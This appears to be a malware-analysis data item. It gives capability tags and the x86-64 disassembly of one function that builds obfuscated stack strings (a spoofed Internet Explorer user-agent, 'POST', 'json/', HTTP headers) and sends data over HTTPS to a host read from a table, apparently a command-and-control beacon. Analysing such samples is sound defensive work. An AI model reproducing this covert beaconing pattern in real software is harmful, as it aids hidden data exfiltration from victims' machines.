Function at 0x1800012f8
Capabilities:
Check http status code
Connect to http server
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x170
mov byte [rsp + 0x58], 0x4d
mov byte [rsp + 0x59], 0x6f
mov byte [rsp + 0x5a], 0x7a
mov byte [rsp + 0x5b], 0x69
mov byte [rsp + 0x5c], 0x6c
mov byte [rsp + 0x5d], 0x6c
mov byte [rsp + 0x5e], 0x61
mov byte [rsp + 0x5f], 0x2f
mov byte [rsp + 0x60], 0x34
mov byte [rsp + 0x61], 0x2e
mov byte [rsp + 0x62], 0x30
mov byte [rsp + 0x63], 0x20
mov byte [rsp + 0x64], 0x28
mov byte [rsp + 0x65], 0x63
mov byte [rsp + 0x66], 0x6f
mov byte [rsp + 0x67], 0x6d
mov byte [rsp + 0x68], 0x70
mov byte [rsp + 0x69], 0x61
mov byte [rsp + 0x6a], 0x74
mov byte [rsp + 0x6b], 0x69
mov byte [rsp + 0x6c], 0x62
mov byte [rsp + 0x6d], 0x6c
mov byte [rsp + 0x6e], 0x65
mov byte [rsp + 0x6f], 0x3b
mov byte [rsp + 0x70], 0x20
mov byte [rsp + 0x71], 0x4d
mov byte [rsp + 0x72], 0x53
mov byte [rsp + 0x73], 0x49
mov byte [rsp + 0x74], 0x45
mov byte [rsp + 0x75], 0x20
mov byte [rsp + 0x76], 0x38
mov byte [rsp + 0x77], 0x2e
mov byte [rsp + 0x78], 0x30
mov byte [rsp + 0x79], 0x3b
mov byte [rsp + 0x7a], 0x20
mov byte [rsp + 0x7b], 0x57
mov byte [rsp + 0x7c], 0x69
mov byte [rsp + 0x7d], 0x6e
mov byte [rsp + 0x7e], 0x64
mov byte [rsp + 0x7f], 0x6f
xor ebx, ebx
mov r14d, edx
mov r15, rcx
mov esi, 8
mov byte [rsp + 0x44], 0x50
mov byte [rsp + 0x48], bl
mov byte [rsp + 0x51], bl
mov byte [rax - 0x112], bl
mov byte [rsp + 0x45], 0x4f
mov byte [rsp + 0x46], 0x53
mov byte [rsp + 0x47], 0x54
mov byte [rsp + 0x4c], 0x6a
mov byte [rsp + 0x4d], 0x73
mov byte [rsp + 0x4e], 0x6f
mov byte [rsp + 0x4f], 0x6e
mov byte [rsp + 0x50], 0x2f
mov byte [rax - 0x128], 0x77
mov byte [rax - 0x127], 0x73
mov byte [rax - 0x126], 0x20
mov byte [rax - 0x125], 0x4e
mov byte [rax - 0x124], 0x54
mov byte [rax - 0x123], 0x20
mov byte [rax - 0x122], 0x36
mov byte [rax - 0x121], 0x2e
mov byte [rax - 0x120], 0x31
mov byte [rax - 0x11f], 0x3b
mov byte [rax - 0x11e], 0x20
mov byte [rax - 0x11d], 0x54
mov byte [rax - 0x11c], 0x72
mov byte [rax - 0x11b], 0x69
mov byte [rax - 0x11a], 0x64
mov byte [rax - 0x119], 0x65
mov byte [rax - 0x118], 0x6e
mov byte [rax - 0x117], 0x74
mov byte [rax - 0x116], 0x2f
mov byte [rax - 0x115], 0x34
mov byte [rax - 0x114], 0x2e
mov byte [rax - 0x113], 0x30
mov byte [rax - 0x108], 0x41
mov byte [rax - 0x107], 0x63
mov byte [rax - 0x106], 0x63
mov byte [rax - 0x105], 0x65
mov byte [rax - 0x104], 0x70
mov byte [rax - 0x103], 0x74
mov byte [rax - 0x102], 0x3a
mov byte [rax - 0x101], 0x20
mov byte [rax - 0x100], 0x61
mov byte [rax - 0xff], 0x70
mov byte [rax - 0xfe], 0x70
mov byte [rax - 0xfd], 0x6c
mov byte [rax - 0xfc], 0x69
mov byte [rax - 0xfb], 0x63
mov byte [rax - 0xfa], 0x61
mov byte [rax - 0xf9], 0x74
mov byte [rax - 0xf8], 0x69
mov byte [rax - 0xf7], 0x6f
mov byte [rax - 0xf6], 0x6e
mov byte [rax - 0xf5], 0x2f
mov byte [rax - 0xf4], 0x6f
mov byte [rax - 0xf3], 0x63
mov byte [rax - 0xf2], 0x74
mov byte [rax - 0xf1], 0x65
mov byte [rax - 0xf0], 0x74
mov byte [rax - 0xef], 0x2d
mov byte [rax - 0xee], 0x73
mov byte [rax - 0xed], 0x74
mov byte [rax - 0xec], 0x72
mov byte [rax - 0xeb], 0x65
mov byte [rax - 0xea], 0x61
mov byte [rax - 0xe9], 0x6d
mov byte [rax - 0xe8], 0xd
mov byte [rax - 0xe7], 0xa
mov byte [rax - 0xe6], 0x43
mov byte [rax - 0xe5], 0x6f
mov byte [rax - 0xe4], 0x6e
mov byte [rax - 0xe3], 0x74
mov byte [rax - 0xe2], 0x65
mov byte [rax - 0xe1], 0x6e
mov byte [rax - 0xe0], 0x74
mov byte [rax - 0xdf], 0x2d
mov byte [rax - 0xde], 0x54
mov byte [rax - 0xdd], 0x79
mov byte [rax - 0xdc], 0x70
mov byte [rax - 0xdb], 0x65
mov byte [rax - 0xda], 0x3a
mov byte [rax - 0xd9], 0x20
mov byte [rax - 0xd8], 0x61
mov byte [rax - 0xd7], 0x70
mov byte [rax - 0xd6], 0x70
mov byte [rax - 0xd5], 0x6c
mov byte [rax - 0xd4], 0x69
mov byte [rax - 0xd3], 0x63
mov byte [rax - 0xd2], 0x61
mov byte [rax - 0xd1], 0x74
mov byte [rax - 0xd0], 0x69
mov byte [rax - 0xcf], 0x6f
mov byte [rax - 0xce], 0x6e
mov byte [rax - 0xcd], 0x2f
mov byte [rax - 0xcc], 0x6f
mov byte [rax - 0xcb], 0x63
mov byte [rax - 0xca], 0x74
mov byte [rax - 0xc9], 0x65
mov byte [rax - 0xc8], 0x74
mov byte [rax - 0xc7], 0x2d
mov byte [rax - 0xc6], 0x73
mov byte [rax - 0xc5], 0x74
mov byte [rax - 0xc4], 0x72
mov byte [rax - 0xc3], 0x65
mov byte [rax - 0xc2], 0x61
mov byte [rax - 0xc1], 0x6d
mov byte [rax - 0xc0], 0xd
mov byte [rax - 0xbf], 0xa
mov byte [rax - 0xbe], 0x43
mov byte [rax - 0xbd], 0x6f
mov byte [rax - 0xbc], 0x6e
mov byte [rax - 0xbb], 0x6e
mov byte [rax - 0xba], 0x65
mov byte [rax - 0xb9], 0x63
mov byte [rax - 0xb8], 0x74
mov byte [rax - 0xb7], 0x69
mov byte [rax - 0xb6], 0x6f
mov byte [rax - 0xb5], 0x6e
lea r8, [rsp + 0x108]
lea edx, [rsi - 7]
xor ecx, ecx
mov byte [rax - 0xb4], 0x3a
mov byte [rax - 0xb3], 0x20
mov byte [rax - 0xb2], 0x63
mov byte [rax - 0xb1], 0x6c
mov byte [rax - 0xb0], 0x6f
mov byte [rax - 0xaf], 0x73
mov byte [rax - 0xae], 0x65
mov byte [rax - 0xad], 0xd
mov byte [rax - 0xac], 0xa
mov byte [rax - 0xab], bl
mov r12, rbx
mov r13, rbx
mov rbp, rbx
mov dword [rsp + 0x100], 0x7530
mov qword [rsp + 0x108], rbx
mov rdi, rbx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
cmp eax, ebx
jne 0x180001a24
mov rcx, qword [0x180005200]
xor edx, edx
mov r8d, 0x1000
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
cmp rax, rbx
je 0x180001a24
lea rcx, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov esi, 0x80004005
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
cmp rax, rbx
je 0x180001a24
lea r13d, [rbx + 4]
lea r8, [rsp + 0x100]
lea edx, [rbx + 2]
mov r9d, r13d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea r8, [rsp + 0x100]
lea edx, [rbx + 6]
mov r9d, r13d
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea r8, [rsp + 0x100]
lea edx, [rbx + 5]
mov r9d, r13d
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov edx, dword [0x180005218]
mov qword [rsp + 0x38], rbx
lea rax, [0x180005240]
mov dword [rsp + 0x30], ebx
mov r8d, 0x1bb
mov rdx, qword [rax + rdx*8]
xor r9d, r9d
mov rcx, r12
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r13, rax
cmp rax, rbx
je 0x180001a24
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x84883100
lea r8, [rsp + 0x4c]
lea rdx, [rsp + 0x44]
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbp, rax
cmp rax, rbx
je 0x180001a24
lea r9d, [rbx + 4]
lea r8, [rsp + 0x110]
lea edx, [rbx + 0x1f]
mov rcx, rax
mov dword [rsp + 0x110], 0x4380
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea rdx, [rsp + 0xa0]
mov r9, r15
or r8d, 0xffffffff
mov rcx, rbp
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, ebx
je 0x180001a24
lea r9, [rsp + 0x118]
lea r8, [rsp + 0x114]
mov edx, 0x20000013
mov rcx, rbp
mov dword [rsp + 0x118], 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp eax, ebx
je 0x180001a24
cmp dword [rsp + 0x114], 0xc8
je 0x180001951
mov esi, 0xe8
jmp 0x180001a24
mov r8d, dword [rsp + 0x40]
cmp r8d, ebx
je 0x18000196c
mov rcx, qword [rsp + 0x108]
xor r9d, r9d
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0x20]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, ebx
jne 0x180001933
mov rcx, qword [rsp + 0x108]
lea rdx, [rsp + 0x120]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x60]
mov r11d, dword [rsp + 0x130]
mov dword [rsp + 0x40], r11d
cmp r11d, ebx
jne 0x1800019a4
mov esi, 0x10d2
jmp 0x180001a24
mov rcx, qword [0x180005200]
mov r8, rdi
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov r8d, dword [rsp + 0x40]
mov rcx, qword [0x180005200]
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
cmp rax, rbx
jne 0x1800019d9
mov esi, 8
jmp 0x180001a24
mov rcx, qword [rsp + 0x108]
xor r9d, r9d
xor r8d, r8d
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + 0x28]
mov rcx, qword [rsp + 0x108]
mov r8d, dword [rsp + 0x40]
mov rax, qword [rcx]
xor r9d, r9d
mov rdx, rdi
call qword [rax + 0x18]
mov r11, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
mov eax, dword [rsp + 0x40]
mov qword [r11], rdi
mov esi, ebx
mov dword [rcx], eax
mov rcx, qword [rsp + 0x108]
cmp rcx, rbx
je 0x180001a37
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp esi, ebx
je 0x180001a52
cmp rdi, rbx
je 0x180001a52
mov rcx, qword [0x180005200]
mov r8, rdi
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp esi, 0x80004005
jne 0x180001a62
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp rbp, rbx
je 0x180001a70
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp r13, rbx
je 0x180001a7e
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp r12, rbx
je 0x180001a8c
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, esi
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x170
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret